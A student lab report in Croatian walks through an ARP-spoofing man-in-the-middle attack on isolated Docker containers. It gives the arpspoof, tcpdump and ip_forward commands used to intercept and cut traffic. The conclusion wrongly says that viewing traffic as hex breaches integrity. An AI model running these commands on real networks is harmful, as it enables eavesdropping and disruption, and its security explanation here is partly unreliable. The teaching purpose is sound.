Izvještaj laboratorijske vježbe

1. Man-in-the-middle attacks (ARP spoofing)

Zadatak

Realizirali smo **man in the middle** napad u virtualiziranoj Docker mreži koju su činili 3 virtualizirana Docker računala:

- dvije žrtve
  - station-1
  - station-2
- napadač
  - evil-station

Opis napada i korištenih naredbi u Ubuntu terminalu

- kloniranje GitHub repozitorija sa skriptama za pokretanje i zaustavljanje virtualiziranog mrežnog scenarija (start.sh i stop.sh) kao i docker konfiguracijskim datotekama kojima je opisana Docker virtualna mreža

```
$ git clone https://github.com/mcagalj/SRP-2021-22
```

- promjena radnog direktorija

```
$ cd SRP-2021-22
$ cd arp-spoofing
```

- pokretanje docker kontejnera

```
$ chmod +x ./start.sh
$ ./start.sh
```

chmod +x naredba omogućava permission za execute

- pokretanje iteraktivnog shella u pojedinim kontejnerima

```
$ docker exec -it station-1 bash
$ docker exec -it station-2 bash
$ docker exec -it evil-station bash
```

- lako možemo pregledati stvorene kontejnere

```
$ docker ps
```

```
CONTAINER ID   IMAGE     COMMAND   CREATED         STATUS         PORTS     NAMES
c900777a3a32   srp/arp   "bash"    8 minutes ago   Up 8 minutes             evil-station
c6fb25e1c71c   srp/arp   "bash"    8 minutes ago   Up 8 minutes             station-2
03e6cfe01d39   srp/arp   "bash"    8 minutes ago   Up 8 minutes             station-1
```

- pregled mrežnih parametara za npr. station-1

```
$ ifconfig -a
```

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.21.0.2  netmask 255.255.0.0  broadcast 172.21.255.255
        ether 02:42:ac:15:00:02  txqueuelen 0  (Ethernet)
        RX packets 14  bytes 1172 (1.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

sit0: flags=128<NOARP>  mtu 1480
        sit  txqueuelen 1000  (IPv6-in-IPv4)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tunl0: flags=128<NOARP>  mtu 1480
        tunnel   txqueuelen 1000  (IPIP Tunnel)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

- pomoću **netcata** otvaramo server TCP socket na kontejneru station-1 na porizvoljnom portu npr. 8000

```
$ netcat -lp 8000
```

- sada otvaramo client TCP socket za station-1 na određenom portu

```
$ netcat station-1 8000
```

- Sada pokrećemo napad evil-stationa naredbom **arpspoof** gdje prvo navodimo **host** kontejner s kojim sada razmijenjujmo podatke a drugo **target** kontejner za kojeg se lažno predstavljamo

```
$ arpspoof -t station-1 station-2
```

```
2:42:ac:12:0:3 2:42:ac:12:0:2 0806 42: arp reply 172.18.0.4 is-at 2:42:ac:12:0:3
2:42:ac:12:0:3 2:42:ac:12:0:2 0806 42: arp reply 172.18.0.4 is-at 2:42:ac:12:0:3
2:42:ac:12:0:3 2:42:ac:12:0:2 0806 42: arp reply 172.18.0.4 is-at 2:42:ac:12:0:3
```

ethernet adresa računala koje šalje podatke (**station-1**)

ethernet adresa računala koje "prima" podatke (**station-2**)

ip adresa računala koje prima podatke (**evil-station)**

> ❗ **evil-station** predstavio se kao **station-2**

- promet možemo pratiti u evil-stationu naredbom **tcpdump** i **tcpdump -x** (pretvara promet u heksadecimalni kod)

```
$ tcpdump
$ tcpdump -x
```

- promet između **station-1** i **station-2** virtualnih računala prekidamo navedenom naredbom

```
$ echo 0 > /proc/sys/net/ipv4/ip_forward
```

Zaključak

Izveli smo man in the middle napad na virtualnoj docker mreži sa tri virtualna računala. Evil-station se predstavio kao station-2 i tako narušio povjerljivost (**confidentiality**) podataka pasivno osluškujući vezu između station-1 i station-2 računala. Nakon toga, podacima smo narušili integritet (**integrity**) tako što smo promet mogli pratit kao heksadecimalni kod. Na kraju smo još prekinuli vezu između station-1 i station-2 računala čime smo narušili dostupnost (**availability**). Sva tri osnovna sigurnosna cilja su narušena!